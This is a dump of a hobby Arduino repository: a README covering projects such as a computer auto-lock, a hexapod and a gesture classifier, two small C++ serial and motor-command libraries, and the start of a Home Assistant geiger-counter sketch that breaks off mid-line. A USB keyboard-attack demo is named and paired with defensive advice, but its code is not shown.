├── .gitignore ├── LICENSE ├── README.md ├── boards ├── README.md ├── arduino-nano-33-ble-sense.png ├── arduinopromini.png ├── esp32-camera.jpg └── nodemcu │ ├── nodemcu.jpg │ ├── step1.png │ ├── step2.png │ ├── step3.png │ └── step4.png ├── libraries ├── EncryptedSoftwareSerial │ ├── EncryptedSoftwareSerial.cpp │ └── EncryptedSoftwareSerial.h ├── README.md └── TextMotorCommandsInterpretter │ ├── TextMotorCommandsInterpretter.cpp │ └── TextMotorCommandsInterpretter.h └── projects ├── HASSGeigerIntegration ├── HASSGeigerIntegration.ino ├── diagram.drawio ├── diagram.jpg ├── hass_scrn0.png ├── hass_scrn1.png └── parts_breadboard.jpg ├── Hexapod └── Hexapod.ino ├── camera_web_upload ├── app_httpd.cpp ├── camera_index.h ├── camera_pins.h ├── camera_web_upload.ino └── test.py ├── computer_auto_lock ├── computer_auto_lock.ino ├── sketch.fzz └── sketch_bb.jpg ├── gesture_capture └── gesture_capture.ino ├── gesture_classifier ├── arduino_tinyml.ipynb ├── digits_model.h ├── gesture_classifier.ino └── remote1_model.h ├── giroscope_led_controll └── giroscope_led_controll.ino ├── keyboard_exploit ├── hack.py ├── hack.txt ├── keyboard_exploit.ino ├── sketch.fzz └── sketch_bb.png ├── line_follower ├── line_follower.ino ├── sketch.fzz └── sketch_bb.jpg ├── multisensor_display ├── .project └── multisensor_display.ino ├── neopixel_ring_gestures ├── neopixel_ring_gestures.ino ├── sketch.fzz └── sketch_bb.png ├── neopixel_ring_gyroscope ├── neopixel_ring_gyroscope.ino ├── sketch.fzz └── sketch_bb.png └── zen_wheels_remote ├── sketch.fzz ├── sketch_bb.jpg └── zen_wheels_remote.ino /.gitignore: -------------------------------------------------------------------------------- 1 | \.idea 2 | *.pyc 3 | # Object files 4 | *.o 5 | *.ko 6 | *.obj 7 | *.elf 8 | 9 | # Precompiled Headers 10 | *.gch 11 | *.pch 12 | 13 | # Libraries 14 | *.lib 15 | *.a 16 | *.la 17 | *.lo 18 | 19 | # Shared objects (inc. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | 3 | Arduino IDE installed on your computer: Download link: https://www.arduino.cc/en/main/software 4 | 5 | About boards and pinouts: 6 | 7 | * [NodeMCU](https://github.com/danionescu0/arduino/blob/master/boards/README.md) 8 | * [Arduino Pro Mini](https://github.com/danionescu0/arduino/blob/master/boards/README.md) 9 | * [Esp32-camera](https://github.com/danionescu0/arduino/blob/master/boards/README.md) 10 | * [Arduino Nano 33 BLE Sense](https://github.com/danionescu0/arduino/blob/master/boards/README.md) 11 | 12 | # Projects 13 | 14 | **1** [Computer auto lock system](#Computer-auto-lock) A computer lock mechanism that activates shortly after the user leaves the computer 15 | 16 | **2** [Neopixel ring gyroscope](#Neopixel-ring-gyroscope) Tilting the breadboard with the neopixel ring and a MPU6050 gyroscope will make led light up in the tilt directionr 17 | 18 | **3** [Neopixel ring gestures](#Neopixel-ring-gestures) Example usage of APDS9960 gesture sensor and a neopixel ring to animate a led rotation and change color 19 | 20 | **4** [Keyboard exploit](#Keyboard-exploit) In this project i'm using an arduino leonardo to simulate a possible USB attack using HID (humain interface device) 21 | 22 | **5** [Line follower](#Line-follower) A plain line follower with two stepper motors 23 | 24 | **6** [Gyroscope led controll](#Gyroscope-led-controll) This project will control led's using gyroscope tilt 25 | 26 | **7** [ZenWheelsRemote](#Zenwheels-remote-controll) This project will controll ZenWheels microcar with a gyroscope (work in progress) 27 | 28 | **8** [CameraWebUpload](#Camera-web-upload) Uses the ESP32-cam to take pictures regularry and upload them using an api 29 | 30 | **9** [HASSGeigerIntegration](#HASS-geiger-integration) show arduino geiger counter readings on Home assistant (https://www.home-assistant.io/) 31 | 32 | **10** [GestureClassifier](#Gesture-classifier) capture, train & predict gestures using Arduino nano BLE sensnse (work in progress) 33 | 34 | **11** [Hexapod](#Hexapod) a project that enebles a hexapod to walk 35 | 36 | # Libraries 37 | 38 | **1** [TextMotorCommandsInterpretter](https://github.com/danionescu0/arduino/blob/master/libraries/README.md) Given a string command it sets a robot speed and angle 39 | 40 | 41 | ## Computer auto lock 42 | 43 | Dive into the realm of computer screen security with our intriguing tutorial. 44 | Explore the vulnerabilities of default screen lock timeouts in operating systems, where a minute of inactivity can expose your computer to unauthorized access. 45 | Discover the solution to this dilemma as we tackle the challenge of creating a device that automatically locks your computer when you're away. 46 | Join us on this exciting journey to enhance your computer's security and protect your valuable data. 47 | 48 | Full tutorial here: https://www.instructables.com/id/Auto-Lock-Computer-System/ 49 | 50 | YouTube video: https://youtu.be/b7RvvMIwWFs 51 | 52 | ![ComputerAutoLock](https://github.com/danionescu0/arduino/blob/master/projects/computer_auto_lock/sketch_bb.jpg) 53 | 54 | ## Neopixel ring gyroscope 55 | 56 | Discover the magic of the MPU6050 gyroscope and Neopixel ring in our tutorial. Create a captivating LED display that responds to angle inclination using Arduino. 57 | Follow the step-by-step instructions to build this mesmerizing project on a breadboard and explore the impressive capabilities of these components. 58 | Unleash your creativity and embark on an illuminating journey of learning and fun. 59 | 60 | YouTube video: https://youtu.be/MFQ2PecTw8g 61 | 62 | Full tutorial here: https://www.instructables.com/id/Gyroscope-Fun-With-Neopixel-Ring/ 63 | 64 | ![Gyroscope](https://github.com/danionescu0/arduino/blob/master/projects/neopixel_ring_gyroscope/sketch_bb.png) 65 | 66 | ## Neopixel ring gestures 67 | 68 | Immerse yourself in the world of gesture-controlled electronics with our comprehensive tutorial. Explore the enchanting combination of the APDS-9960 gesture sensor and a Neopixel ring, seamlessly integrated with an Arduino UNO. 69 | 70 | Witness the magic unfold as your end product responds to left-right gestures with captivating LED movements and up-down gestures by dynamically changing LED colors. 71 | Discover the part list, connect the components, and unravel the code step-by-step, gaining invaluable insights into its inner workings. 72 | Unleash your creativity and embark on this mesmerizing journey today! 73 | 74 | Using up - down gestures the leds will change color 75 | 76 | Using left - right gestures the leds will appeare move to left / right 77 | 78 | YouTube video: https://youtu.be/EOPIJkmsgAo 79 | 80 | Full tutorial: https://www.instructables.com/id/Controlling-a-Neopixel-Led-Ring-With-a-Gesture-Sen 81 | 82 | ![NeopixelGestures](https://github.com/danionescu0/arduino/blob/master/projects/neopixel_ring_gestures/sketch_bb.png) 83 | 84 | 85 | ## Keyboard exploit 86 | 87 | In this project i'm using an arduino leonardo to simulate a possible USB attack using HID (humain interface device). 88 | 89 | YouTube video: https://youtu.be/PsYTfWgX3eU 90 | 91 | Full turorial: https://www.instructables.com/id/Arduino-Keyboard-Exploit-Demo-HID-and-Prevention/ 92 | 93 | **Important!: You can defend against this kind of attack by:** 94 | 95 | 1. Disabling USB ports 96 | 97 | - for windows you can check this tutorial:http://www.thewindowsclub.com/disable-enable-usb-windowunlock-pen-drive-at-office-or-school-computer 98 | 99 | 2. Whitelist USB devices: 100 | 101 | - for windows: https://superuser.com/questions/1152012/block-unblock-usb-devices-except-whitelist 102 | 103 | 2. Lock your computer when your're not away 104 | 105 | 3. Don't login as root (require passwords for installing anything) 106 | 107 | 4. Keep your self up to date (automatic updates on) 108 | 109 | 110 | ## Line follower 111 | 112 | A plain line follower with two stepper motors. 113 | 114 | This sketch uses PID algrithm (https://blog.opticontrols.com/archives/344) 115 | 116 | ![line_follower](https://github.com/danionescu0/arduino/blob/master/projects/line_follower/sketch_bb.jpg) 117 | 118 | YouTube video: https://youtu.be/oPWKSHsfMBM 119 | 120 | 121 | ## Gyroscope led controll 122 | Experience a mesmerizing play of light and motion with our DIY project. 123 | Learn to construct a tilt-controlled dimmer using an Arduino Uno, gyroscope, and four LEDs arranged in a "+" shape on a breadboard. 124 | As you tilt, the LEDs intensify, creating a captivating visual display. 125 | Let your creativity shine with this simple yet enchanting electronics endeavor. 126 | 127 | Full tutorial: https://www.instructables.com/id/Giroscope-led-controll-with-Arduino/ 128 | 129 | YouTube video: https://youtu.be/lYH1H_nWLz4 130 | 131 | 132 | ## Zenwheels remote controll 133 | Reverse engineer the ZenWheels microcar Android app to decode its communication protocol. 134 | This project guides you in building a custom remote control using Arduino and a gyroscope. 135 | Unleash your technical skills and transform your 5 cm toy car experience. 136 | Full tutorial: https://www.instructables.com/member/danionescu/instructables/ 137 | 138 | YouTube video: https://youtu.be/ih9J1sDsSLk 139 | 140 | The sketch controlls the angle and direction of the Zenwheels toy car using MPU6050 gyroscope 141 | 142 | ![Zenwheels remote controll](https://github.com/danionescu0/arduino/blob/master/projects/zen_wheels_remote/sketch_bb.jpg) 143 | 144 | 145 | 146 | ## Camera web upload 147 | 148 | Configure the sketch before the upload with your WIFI credentials, and the upload endpoint 149 | ```` 150 | const char* ssid = "wifi_network_name"; 151 | const char* password = "wifi_password"; 152 | const char* uploadUrl = "http://endpoint_url"; 153 | ```` 154 | 155 | A good tutorial about esp32 video camera here: https://randomnerdtutorials.com/esp32-cam-video-streaming-face-recognition-arduino-ide/ 156 | 157 | 158 | ## HASS geiger integration 159 | 160 | YouTube video: https://youtu.be/auRfZ5q2SrY 161 | 162 | This project will integrate a arduino geiger counter (one that supports serial logging of CPM) into HomeAssistant. 163 | Full tutorial here: https://www.instructables.com/Home-Assistant-Geiger-Counter-Integration/ 164 | 165 | Home assistant is a great platform for home automation. If you don't know the platform you shoul check it out:) https://www.home-assistant.io/ 166 | 167 | ## Gesture classifier 168 | 169 | Detects gestures that wore previously trained with gesture_capture.ino After an accelerationThreshold is reached, 170 | the sketch begin recording numSamples (119) and then feeds in into TensorFlowLite to predict the gesture. 171 | 172 | ### Gesture capture 173 | 174 | Uses the on-board IMU to start reading acceleration and gyroscope 175 | data from on-board IMU and prints it to the Serial Monitor for one second 176 | when the significant motion is detected, it also logs the data to a SD card 177 | 178 | Saves each gesture data to a SD card in a separate file "1.csv", "2.csv" etc 179 | based on example from https://github.com/arduino/ArduinoTensorFlowLiteTutorials 180 | To record the next gesture swipe right with your hand in front of the board, it uses 181 | the on board gesture detector to detect GESTURE_RIGHT and to record in the next csv file 182 | 183 | PINOUT 184 | 185 | CARD READER 5V variant 186 | 187 | * MOSI - pin 11 188 | * MISO - pin 12 189 | * CLK - pin 13 190 | * CS - pin 4 191 | * GND - GND 192 | * VCC - VIN 193 | 194 | LED 195 | 196 | * D2 - pin through a 220ohms resistor 197 | * GND - GND 198 | 199 | ### Gesture classifier 200 | 201 | Detects gestures that wore previously trained with gesture_capture.ino 202 | After an accelerationThreshold is reached, the sketch begin recording numSamples (119) 203 | and then feeds in into TensorFlowLite to predict the gesture. 204 | 205 | The LED is used to signal that the sketch is recording a gesture 206 | If you want to use your own trained data, replace #include "digits_model.h" with your own, then replace const char* GESTURES[] 207 | with your own trained gestures 208 | 209 | Arduino IDE vs: 1.8.12 210 | 211 | Libraries: 212 | 213 | * Arduino_LSM9DS1 (version 1.0.0) 214 | 215 | * TensorFlowLite (version 2.1.0 ALPHA precompiled) 216 | 217 | * ArduinoBLE (version 1.1.3) 218 | 219 | Board version in arduino IDE: 220 | 221 | Arduino mbed-enabled board vs 1.1.6 (tested with this version, does not work with other versions) 222 | 223 | PINOUT 224 | 225 | LED 226 | 227 | * D2 - pin through a 220ohms resistor 228 | 229 | * GND - GND 230 | 231 | Trained models: 232 | 233 | digits_model.h -> uses gestures 0,1,2,3,4 (draw it in the air) 234 | 235 | remote1.mode.h -> uses gestures cw,ccw,fwd (clockwise, counter clockwise, forward in the air) 236 | 237 | ## Hexapod 238 | 239 | ### About: 240 | Overall, the code provides a framework for controlling a hexapod robot using servo motors and receiving commands wirelessly through a Bluetooth module. It defines different functions for smooth movement, walking gait, initialization, and communication with a remote controller. 241 | 242 | ### Components 243 | * Arduino Mega 2560 244 | * Arduino Mega servo shield 245 | * 18 servo motors (5V), eg: MG995 246 | * hexapod skeleton (kit) which contains laser cut parts 247 | * serial bluetooth module HC-05 248 | * battery (i used LiPo 2S 3000mAH) 249 | * high power step down regulator ( output >= 8A ) 250 | 251 | ### Commanding the hexapod via bluetoogh 252 | Commanding the Hexapod via Bluetooth 253 | 254 | To control the hexapod robot wirelessly, you can use a serial remote control application on your Android or iOS device. Follow the steps below to establish a connection and program the buttons in the app to send serial commands to the hexapod: 255 | 256 | Pairing with the Bluetooth Module: 257 | 258 | * Make sure the Bluetooth module is properly connected to the hexapod robot. 259 | * On your mobile device, go to the Bluetooth settings and search for available devices. 260 | * Pair your mobile device with the Bluetooth module of the hexapod robot. 261 | 262 | Programming Button Commands: 263 | 264 | * Open the serial remote control application on your mobile device. 265 | * In the app settings or configuration section, locate the button programming feature. 266 | * Assign the following commands to the corresponding buttons: 267 | 268 | 1) Left: Send the command "80" to the hexapod. 269 | 270 | 2) Forward: Send the command "90" to the hexapod. 271 | 272 | 3) Right: Send the command "100" to the hexapod. 273 | 274 | 4) Left 45 degrees: Send the command "25" to the hexapod. 275 | 276 | 5) Right 45 degrees: Send the command "155" to the hexapod. 277 | 278 | 6) Start/Stop: Send the command "s" to the hexapod. 279 | 280 | 7) Up/Down: Send the command "d" to the hexapod. 281 | 282 | Controlling the Hexapod: 283 | 284 | * To initiate the hexapod's movement, send the "s" command. By default, it will start walking forward. 285 | * To make the hexapod walk slightly to the left, send the command "80". For a 45-degree left turn, send "25". 286 | * To stop the hexapod's movement, send the command "s". To start again, send "s". 287 | * To make the hexapod walk slightly to the right, send the command "100". For a 45-degree right turn, send "155". 288 | * To make the hexapod sit down or stand up, send the command "d". This will toggle the elevation between sitting and standing positions. 289 | 290 | By programming the buttons in the serial remote control application, you can conveniently command the hexapod robot's movements and adjust its elevation wirelessly through Bluetooth. 291 | 292 | ### Libraries: 293 | 294 | MegaServo: This library allows the control of multiple servo motors simultaneously. 295 | VirtualWire: This library provides support for sending and receiving messages wirelessly using RF modules. 296 | 297 | ### Global Variables and Constants: 298 | 299 | Various global variables and constants are defined, including variables for servo positions, speed factors, delay values, control commands, and flags. 300 | Structures: 301 | 302 | The code defines several structures to represent different aspects of the hexapod robot, such as actuators, walking steps, servo steps, and remote control commands. 303 | Actuator Mapping: 304 | 305 | An array named "motors" is defined to store the mapping of actuators. Each element of the array represents an actuator and contains information such as the actuator ID, pin number, direction, middle position, elevation, and side. 306 | Walking Steps: 307 | 308 | A 2D array named "steps" represents the walking gait of the hexapod. It contains sequences of walk steps for different directions and leg movements. 309 | 310 | ### Functions 311 | 312 | Initialization (setup) Function: The setup function initializes the serial communication and servo motors. It also initializes the communication for receiving commands from a Bluetooth device and sets the initial values for the remote controller. 313 | Main Loop (loop) Function: 314 | 315 | The loop function continuously checks for incoming commands from the Bluetooth device. 316 | 317 | If the received command is a special function command (e.g., start/stop, up/down), the corresponding action is performed. 318 | 319 | If the hexapod is allowed to move, it executes the walkForward function with the given direction and speed factor. 320 | 321 | The walkForward function processes the walking gait by calculating the required angles for each actuator based on the direction. 322 | 323 | The resetDefaults function resets the hexapod to its default position by smoothly moving each servo motor to its initial angle. 324 | 325 | The smoothMove and addSmoothMove functions are used for smoothly transitioning between different servo positions. 326 | 327 | The sitDown function is used to make the hexapod sit down by adjusting the angles of the servo motors. 328 | 329 | The calculateAngleFromDirection function calculates the angle for a specific actuator based on the direction and actuator configuration. 330 | Communication Functions: 331 | 332 | The initCommunication function initializes the communication for receiving commands from a Bluetooth device. 333 | 334 | The getCommandsBT function reads and processes incoming commands from the Bluetooth device. 335 | 336 | 337 | -------------------------------------------------------------------------------- /boards/README.md: -------------------------------------------------------------------------------- 1 | #Boards 2 | 3 | ## NodeMCU 4 | ![Nodemcu](https://github.com/danionescu0/arduino/blob/master/boards/nodemcu/nodemcu.jpg) 5 | 6 | For instalation in Arduino IDE follow the steps from /boards/nodemcu: https://github.com/danionescu0/arduino/tree/master/boards/nodemcu 7 | 8 | ## Arduino pro mini 9 | ![Arduino pro mini](https://github.com/danionescu0/arduino/blob/master/boards/arduinopromini.png) 10 | 11 | ## Esp32 camera 12 | ![esp32-camera](https://github.com/danionescu0/arduino/blob/master/boards/esp32-camera.jpg) 13 | 14 | Instalation in Arduino IDE: https://randomnerdtutorials.com/installing-the-esp32-board-in-arduino-ide-mac-and-linux-instructions/ 15 | 16 | ## Arduino Nano 33 BLE Sense 17 | ![Arduino-nano-33-ble-sense](https://github.com/danionescu0/arduino/blob/master/boards/arduino-nano-33-ble-sense.png) 18 | 19 | Overview: https://gilberttanner.com/blog/arduino-nano-33-ble-sense-overview -------------------------------------------------------------------------------- /boards/arduino-nano-33-ble-sense.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/arduino-nano-33-ble-sense.png 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-------------------------------------------------------------------------------- /boards/nodemcu/step4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/boards/nodemcu/step4.png -------------------------------------------------------------------------------- /libraries/EncryptedSoftwareSerial/EncryptedSoftwareSerial.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | EncryptedSoftwareSerial::EncryptedSoftwareSerial(uint8_t rx, uint8_t tx, int baud, uint8_t* key, String DEVICE_CODE) 6 | : _externalSerial(rx, tx) 7 | { 8 | _rx = rx; 9 | _tx = tx; 10 | _externalSerial.begin(baud); 11 | _externalSerial.setTimeout(100); 12 | _key = key; 13 | _DEVICE_CODE = DEVICE_CODE; 14 | } 15 | 16 | void EncryptedSoftwareSerial::transmit(String message) 17 | { 18 | _externalSerial.print(message); 19 | } 20 | 21 | String EncryptedSoftwareSerial::getDecrypted() 22 | { 23 | int i; 24 | for (i=0;i<=15;i++) { 25 | _data[i] = _buffer[i+3]; 26 | } 27 | aes128_cbc_dec(_key, _key, _data, 16); 28 | String result = ""; 29 | for (i=0;i<=15;i++) { 30 | if (_data[i] == _TERMINATOR) { 31 | return result; 32 | } 33 | result += _data[i]; 34 | } 35 | 36 | return result; 37 | } 38 | 39 | boolean EncryptedSoftwareSerial::parseIncomming() 40 | { 41 | if (_externalSerial.available() > 0) { 42 | _externalSerial.readBytes(_buffer, 19); 43 | if (isForThisDevice()) { 44 | return true; 45 | } 46 | clearBuffer(); 47 | } 48 | 49 | return false; 50 | } 51 | 52 | boolean EncryptedSoftwareSerial::isForThisDevice() 53 | { 54 | String incommingDeviceCode = ""; 55 | incommingDeviceCode += _buffer[0]; 56 | incommingDeviceCode += _buffer[1]; 57 | 58 | return incommingDeviceCode == _DEVICE_CODE; 59 | } 60 | 61 | void EncryptedSoftwareSerial::clearBuffer() 62 | { 63 | for (int i=0; i<=_bufferSize - 1; i++) { 64 | _buffer[i] = ' '; 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /libraries/EncryptedSoftwareSerial/EncryptedSoftwareSerial.h: -------------------------------------------------------------------------------- 1 | #ifndef EncryptedSoftwareSerial_h 2 | #define EncryptedSoftwareSerial_h 3 | 4 | #if ARDUINO >= 100 5 | #include "Arduino.h" 6 | #else 7 | #include "WProgram.h" 8 | #endif 9 | 10 | #include "SoftwareSerial.h" 11 | 12 | class EncryptedSoftwareSerial { 13 | public: 14 | EncryptedSoftwareSerial(uint8_t rx, uint8_t tx, int baud, uint8_t* key, String DEVICE_CODE); 15 | boolean parseIncomming(); 16 | String getDecrypted(); 17 | void transmit(String message); 18 | 19 | private: 20 | uint8_t _rx; 21 | uint8_t _tx; 22 | char _buffer[19]; 23 | uint8_t* _key; 24 | byte _bufferSize = 19; 25 | char _data[16]; 26 | const char _TERMINATOR = '|'; 27 | String _DEVICE_CODE; 28 | 29 | SoftwareSerial _externalSerial; 30 | 31 | void clearBuffer(); 32 | boolean isForThisDevice(); 33 | 34 | }; 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /libraries/README.md: -------------------------------------------------------------------------------- 1 | # Libraries 2 | 3 | ### TextMotorCommandsInterpretter 4 | 5 | Given a string command representing coordonates for X, Y axys, the library transforms 6 | those on percentage of power for a two motor robot/car. 7 | 8 | For the X (direction) between -50 and 50, and Y (power) between -50 and 50 9 | 10 | And for example the command: 11 | "M:-25:16;" means (-25 left), and (16 power), it wil translate to 12 | left motor 17% and right motor 32%, and direction forward 13 | 14 | "M:44:19;" means (44 to the right) and (19 power) it will translate to: 15 | left motor 38%, right motor 5% and direction forward 16 | 17 | YouTube video: https://youtu.be/6FrEs4C9D-Y 18 | 19 | Full tutorial here: https://www.instructables.com/id/Android-Controlled-Robot-Spy-Camera/ 20 | 21 | Usage example: 22 | 23 | ```` 24 | #include 25 | .... 26 | //declare instance, set X axys space from -50 to 50, Y axys space from -50 to 50 27 | TextMotorCommandsInterpretter motorCommandsInterpretter(-50, 50, -50, 50); 28 | ... 29 | //optional set command format 30 | motorCommandsInterpretter.setCommandFormat('M', ':', ';'); 31 | // it will set command format with starting character 'M', ':' for internal delimiter, and ';' for command terminator. 32 | // this is the default but you can change it to any characters 33 | ... 34 | //use it to parse serial commands 35 | motorCommandsInterpretter.analizeText("M:-25:16;"); 36 | float percentLeftMotor = motorCommandsInterpretter.getPercentLeft(); 37 | float percentRightMotor = motorCommandsInterpretter.getPercentRight(); 38 | boolean direction motorCommandsInterpretter.getDirection(); 39 | 40 | // percentLeftMotor will be 0.17 41 | // percentRightMotor will be 0.32 42 | // direction will be true 43 | ```` 44 | -------------------------------------------------------------------------------- /libraries/TextMotorCommandsInterpretter/TextMotorCommandsInterpretter.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | TextMotorCommandsInterpretter::TextMotorCommandsInterpretter(int minX, int maxX, int minY, int maxY) 4 | { 5 | _minX = minX; 6 | _maxX = maxX; 7 | _minY = minY; 8 | _maxY = maxY; 9 | _debug = false; 10 | } 11 | 12 | void TextMotorCommandsInterpretter::analizeText(String message) 13 | { 14 | _message = message; 15 | _power = _getMotorPower(); 16 | int direction = _getMotorDirection(); 17 | float leftMotor, rightMotor; 18 | int middleDirection = round((_maxX + _minX) / 2); 19 | if (direction < 0) { 20 | leftMotor = map(direction, middleDirection, _minX, 100, 0); 21 | rightMotor = 100; 22 | } else { 23 | leftMotor = 100; 24 | rightMotor = map(direction, middleDirection, _maxX, 100, 0); 25 | } 26 | int middlePower = round((_maxY + _minY) / 2); 27 | float realPower = map(abs(_power), middlePower, _maxY, 0, 100); 28 | if (_debug) { 29 | Serial.print("LMotor=");Serial.println(leftMotor); 30 | Serial.print("RMotor=");Serial.println(rightMotor); 31 | Serial.print("RealPower=");Serial.println(rightMotor); 32 | } 33 | _percentLeftMotor = ((realPower / 100) * (leftMotor / 100)); 34 | _percentRightMotor = ((realPower / 100) * (rightMotor / 100)); 35 | } 36 | 37 | float TextMotorCommandsInterpretter::getPercentLeft() 38 | { 39 | return _percentLeftMotor; 40 | } 41 | 42 | float TextMotorCommandsInterpretter::getPercentRight() 43 | { 44 | return _percentRightMotor; 45 | } 46 | 47 | boolean TextMotorCommandsInterpretter::getDirection() 48 | { 49 | return _power > 0 ? true : false; 50 | } 51 | 52 | void TextMotorCommandsInterpretter::outputDebug(boolean debug) 53 | { 54 | _debug = debug; 55 | } 56 | 57 | void TextMotorCommandsInterpretter::setCommandFormat(char startCharacter, char wordsBoundary, char endTerminator) 58 | { 59 | char _startCharacter = startCharacter; 60 | char _wordsBoundary = wordsBoundary; 61 | char _endTerminator = endTerminator; 62 | } 63 | 64 | int TextMotorCommandsInterpretter::_getMotorDirection() 65 | { 66 | byte splitPosition = _message.indexOf(':', 2); 67 | 68 | return _message.substring(2, splitPosition).toInt(); 69 | } 70 | 71 | int TextMotorCommandsInterpretter::_getMotorPower() 72 | { 73 | byte splitPosition = _message.indexOf(':', 2); 74 | byte endPosition = _message.indexOf(' '); 75 | Serial.print("endPosition=");Serial.println(endPosition); 76 | 77 | return _message.substring(splitPosition + 1, endPosition).toInt(); 78 | } 79 | -------------------------------------------------------------------------------- /libraries/TextMotorCommandsInterpretter/TextMotorCommandsInterpretter.h: -------------------------------------------------------------------------------- 1 | #ifndef TextMotorCommandsInterpretter_h 2 | #define TextMotorCommandsInterpretter_h 3 | 4 | #if ARDUINO >= 100 5 | #include "Arduino.h" 6 | #else 7 | #include "WProgram.h" 8 | #endif 9 | 10 | class TextMotorCommandsInterpretter { 11 | public: 12 | TextMotorCommandsInterpretter(int minX, int maxX, int minY, int maxY); 13 | void analizeText(String buffer); 14 | void outputDebug(boolean debug); 15 | void setCommandFormat(char startCharacter, char wordsBoundary, char endTerminator); 16 | float getPercentLeft(); 17 | float getPercentRight(); 18 | boolean getDirection(); 19 | 20 | private: 21 | int _getMotorDirection(); 22 | int _getMotorPower(); 23 | String _message; 24 | float _percentLeftMotor; 25 | float _percentRightMotor; 26 | boolean _debug; 27 | char _startCharacter = 'M'; 28 | char _wordsBoundary = ':'; 29 | char _endTerminator = ';'; 30 | int _power; 31 | int _minX; 32 | int _maxX; 33 | int _minY; 34 | int _maxY; 35 | }; 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /projects/HASSGeigerIntegration/HASSGeigerIntegration.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "Adafruit_MQTT.h" 7 | #include "Adafruit_MQTT_Client.h" 8 | 9 | 10 | #define ENABLE_OTA // comment this line if you don't want OTA 11 | 12 | #define STASSID "ssid" // Replace with your WIFI SSID 13 | #define STAPSK "pass" // Replace with your WIFI password 14 | #define SKETCHPASS "thepass" // OTA upload protection ;replace with your own 15 | #define MQTT_SERVER "broker.hivemq.com" // replace with yout MQTT server if needed, broker.hivemq.com is a free MQTT broker 16 | #define CPM_TO_MICROSIEVERTS 0.0056 // for SBM-20 geiger tube 17 | 18 | const char* ssid = STASSID; 19 | const char* password = STAPSK; 20 | 21 | SoftwareSerial geigerCounter(13, 15); 22 | WiFiClient client; 23 | Adafruit_MQTT_Client mqtt(&client, MQTT_SERVER, 1883); 24 | Adafruit_MQTT_Publish radiationTopic = Adafruit_MQTT_Publish(&mqtt, "ha/radiation"); 25 | 26 | 27 | void setup() { 28 | Serial.begin(9600); 29 | geigerCounter.begin(9600); 30 | Serial.println("Booting"); 31 | WiFi.mode(WIFI_STA); 32 | WiFi.begin(ssid, password); 33 | #ifdef ENABLE_OTA 34 | startOTA(); 35 | Serial.println("OTA enabled"); 36 | #endif 37 | } 38 | 39 | void loop() { 40 | #ifdef ENABLE_OTA 41 | ArduinoOTA.handle(); 42 | #endif 43 | MQTT_connect(); 44 | if (geigerCounter.available()) { 45 | handleNewReading(geigerCounter.parseInt()); 46 | } 47 | } 48 | 49 | void handleNewReading(int reading) { 50 | if (reading == 0) { 51 | return;// parseInt bug 52 | } 53 | char buf[50]; 54 | String message = "{\"radiation\": " + String(reading * 